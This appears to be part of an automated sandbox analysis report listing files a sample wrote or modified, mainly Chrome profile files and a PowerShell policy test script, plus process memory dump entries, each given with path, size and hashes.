Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 348da608d94758782eee04c52e1993b605b715e18699f8837a1d23c00602dc19
MD5 e7fb868c44964c5a33f23dd91cfbf52a
SHA1 1ea123a92b0adc3a2c864cb8e38b1b7390839cfb
SHA512 bcd4c7c33fbce5ea42b05fcfdf5eab5c5fd47f18b6a54a4b5dda5d833379e7e7ac1ab5fcd9e6c782c486df67225a1098e906d8e7c0c1c5b107a982b4940ad553
SSDEEP 192:kRtsGarWS8DRlv7XpAPRp2Cl/9fHsb+WNn0bvbg2dZ+e52K5VyIsnAUg5afaJ:kRts18VLUXBFwcU2F2W5aS
TLSH
T12742B63EB954663B6CCBD21AFA627757D3F9103625902D84EAFC8A1C05EB9CC221701F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 e15ac0fba3d9212ad60c6e54026ea69f4f61aef6411be4dbbc3d0e00b0c6027f
MD5 1cb02881ae536cd6de6989f224a933ab
SHA1 288032c6a5e1f3ab9089a269592b7b0ad6829a95
SHA512 6b5f9aeadcfc5caa47d21df0df7efaa1387438b18f0df4580a7bbe9f89756b1e497be96a2969a0d2035add26366fe96515622f87296aabdf582b82671abcf484
SSDEEP 192:kRtsGarWS8DR+v7XpAPRp2Cl/9fHsb+WNn0bvlKYYZ+e52KXVyIsnAUgvafaJ:kRts186LUXBFwccYa2UvaS
TLSH
T18342D93EB9546A3B6CCBE21AFA527757D7F5103621902D84EAFC8A1C15EB9CC221701F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 cd22bb80bbd48d851a20c0d8b6b2e92af9465e8cf44b42e477f730b19ac95651
MD5 b3c44ea6450406b35f01a01003916b86
SHA1 4d269005d39134d5095bee1a9ae35142e3db7da9
SHA512 8ced7e966d32a5adc6d42b3c973ae5e852d8d464d8f49e6c5360445c44aa2688dc6d78f0422b3601a81f017247cd3f64e67ed25d526ea6248fb7ed61088f3dee
SSDEEP 192:kRtsGarWS8DRqv7XpAPRp2ClH79fHsb+WNn0bvlKYYZ+e52KXVyIsnAUgvafaJ:kRts18mLUXFFwccYa2UvaS
TLSH
T13042C93EB954693B6CCBE219FA527757D7F5103621902D84EAFC8A1C05EB9CC221701F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 88441f7725ed5685a2b1d5ef5037fb37b54904dd97a8a2e234382b55065b22e8
MD5 c29b41f992c4ca55f64012533f9da5d4
SHA1 d5a8a53295507f58299f13453395eb33e04f9055
SHA512 0b1196d764e78b4d4c7d2aba28cad794876b0671219aef38c499341d98770405f20546863e3a2394172f1f8fb23b09b0b7356fa4b03378afcb84bc1a7b60ae15
SSDEEP 384:eojKB7KxkXqKf/pUZNCgVLH2Hfgslmc7pLuLcSjYZXODKZ+ErU3n6HGY3Wobe:ecKB7KxkXqKf/pUZNCgVLH2Hfgscc7pg
TLSH
T14C7207777C489A370F94CACCD8277F4FADB5025B66E9886486FA482503D5ACF11062FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 59c85bade8d35db9ecf190f8ebba9b882fa2f33e863e5f1912ddac0f76a1ee63
MD5 d5d97f5b45229fe83b9f27dde65b577a
SHA1 d5c9f56aca41cb9ffa5e38eaf5eed41989c11c0c
SHA512 c4a243be338cb6e9ad0bb62beddebc4e21aaf805157b33b015888fdee4f01d0bcacca6cd04d738caac516f747ad40f46ce88db3f3f4a201964a2a07af74098de
TLSH
T1DAB0121084426552C04203B81192998871549F23960A170543F06922C836271C024054
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58849c.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58849c.TMP
Size 96B
SHA256 6bb63fc0fb2ea566fda46574af8d1606fe22678414051837ae4109d10e763fa8
MD5 80315f4276ac44c6e06f8086fd12ced6
SHA1 0ec7ee81775138ad56a0890d1e093c40f213e7cd
SHA512 da478778a0a6fd9e65ea3ef06102bb65ce51ffecdba2b3e2a6dba5572631de0fefb1f42f485eebab4db38b49f308b409e3b3ba0e24c86921a75b89bec516ad00
TLSH
T1A3B02200C0022302C00283B022C0C0C830B0CF20C2032303A2F00A32CC2023203200A0
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 9e5716d86bd3a09b81e8d343b965c515f75a949093590d265d57fe2a78f20839
MD5 ce15cee46faa7e9b60c6aa4619137c64
SHA1 aa8fecf8f3b2f9f4384e966d9497003bff2fb015
SHA512 2c33b025166e612fd219a53ea380113aef7c69765e45c83156e23c101634479f4a677be13fb60bd86dcd5c213223fe2d505c56919ec3bbf735904761fa198810
SSDEEP 3072:CGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMC:1m7Rkm1tYpBeh2BAoC
TLSH
T161C312375D71E97B6979A71EB48E0F1F1EF149A6C920DE42C8D85B0437EA7CC0A04A34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 231KB
SHA256 b58797c2abd2a20d959ddf3227cefb233899de0a71f56dade9d3eb91572fed5e
MD5 74596c368553a5026a50f40c1a2bac78
SHA1 dd71b3588ad99a589560f09471575d20a42cb16f
SHA512 869340f9786fecaa3ec1c21b56fa6b0eab831e05555c0f04d952ae0784625ef4025a719a7c0864449285d4cde0909e86072dc8d890d3f0d0960eeab6d9d9f969
SSDEEP 6144:pZOSIhT9dTmwhGGUOFm7Rkm1tYpBeh2BAoB:OSIh5wwVs9oBGcAoB
TLSH
T14C34133F4D61AD792D69A72F108B0B3A0DF14BB7D121E99297DC1B04BBC8B984E54CB1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 231KB
SHA256 e7e193422363e7c1c8f69cde4e88661c183654db5ce9d8985f6b5b1871e6bdc2
MD5 0577ba5c04fa8523b80c53a45c8a482b
SHA1 f71996f8c6300c823dbd232372b75c1db4170a9d
SHA512 36d691e8b0bebd7cd177597b2a86b60db0ac6373ee89603e00101ecd88e214253fd8c76771ccc2f77a90bd92b7cb5eed51c013801c21f65a39aaac7f0d5447b1
SSDEEP 6144:aZOSIhT9dTmwhGGUOFm7Rkm1tYpBeh2BAoB:3SIh5wwVs9oBGcAoB
TLSH
T11634133F4D61AD792D69A72F108B0B3A0DF14BB7D121E99297DC5B00BBC8B984E54CB1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 231KB
SHA256 c6c422304ccc635b6e9968c8c8f4f20e555d7a067c6b604880f0725fbfb99466
MD5 b912f07d1da6a0d5e05529d8948583d3
SHA1 a60a5d9a2522615152c712a635a0cfc0342ef59d
SHA512 56b1661ebc4fd49a119983400f1fc5a5821b74f2288cad4f742db460c94f15ece9718fd42179cb3934ecd37fca09731087ff02e9f1600c7c695a28fa5403c57f
SSDEEP 6144:gZOSIhT9dTmwhGGUOFm7Rkm1tYpBeh2BAoB:VSIh5wwVs9oBGcAoB
TLSH
T1C434133F4D61AE792D69972F108B0B3A0DF14BB7D121E99297DC1B00BBC8B984E54CB1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_mltq3xaq.kky.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mltq3xaq.kky.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3452-1-0x000002A3E9BF0000-0x000002A3E9C00000-memory.dmp

Download

memory/3452-10-0x000002A3E9BF0000-0x000002A3E9C00000-memory.dmp

Download

memory/3452-7-0x000002A3E9C00000-0x000002A3E9C22000-memory.dmp

Download

memory/3452-0-0x000002A3E9BF0000-0x000002A3E9C00000-memory.dmp

Download

memory/3452-11-0x000002A3ED420000-0x000002A3ED5E2000-memory.dmp

Download

memory/3580-176-0x000001FF170C0000-0x000001FF171AD000-memory.dmp

Download